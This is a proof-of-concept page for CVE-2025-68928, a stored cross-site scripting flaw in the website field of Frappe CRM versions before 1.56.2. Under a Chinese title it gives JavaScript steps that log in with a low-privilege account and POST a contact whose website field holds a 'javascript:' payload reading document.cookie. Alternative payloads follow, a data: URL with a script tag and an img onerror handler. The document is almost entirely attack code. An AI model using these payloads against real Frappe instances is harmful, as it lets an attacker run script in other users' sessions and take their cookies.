CVE-2025-68928 Frappe CRM网站字段存储型XSS漏洞

// CVE-2025-68928 PoC - Stored XSS in Frappe CRM website field // Target: Frappe CRM < v1.56.2 // Attack Type: Stored XSS via website field // Step 1: Authenticate with low-privilege account const loginData = { usr: '[email protected]', pwd: 'password123' }; // Step 2: Create/Edit contact with malicious website URL const maliciousPayload = { first_name: 'Test', last_name: 'User', website: 'javascript:alert(document.cookie)//' }; // Alternative payloads: // website: 'data:text/html,<script>alert(1)</script>' // website: '<img src=x onerror=alert(document.domain)>' // Step 3: When other users view this contact, XSS will execute fetch('/api/resource/Contact', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': 'token ' + apiKey }, body: JSON.stringify(maliciousPayload) });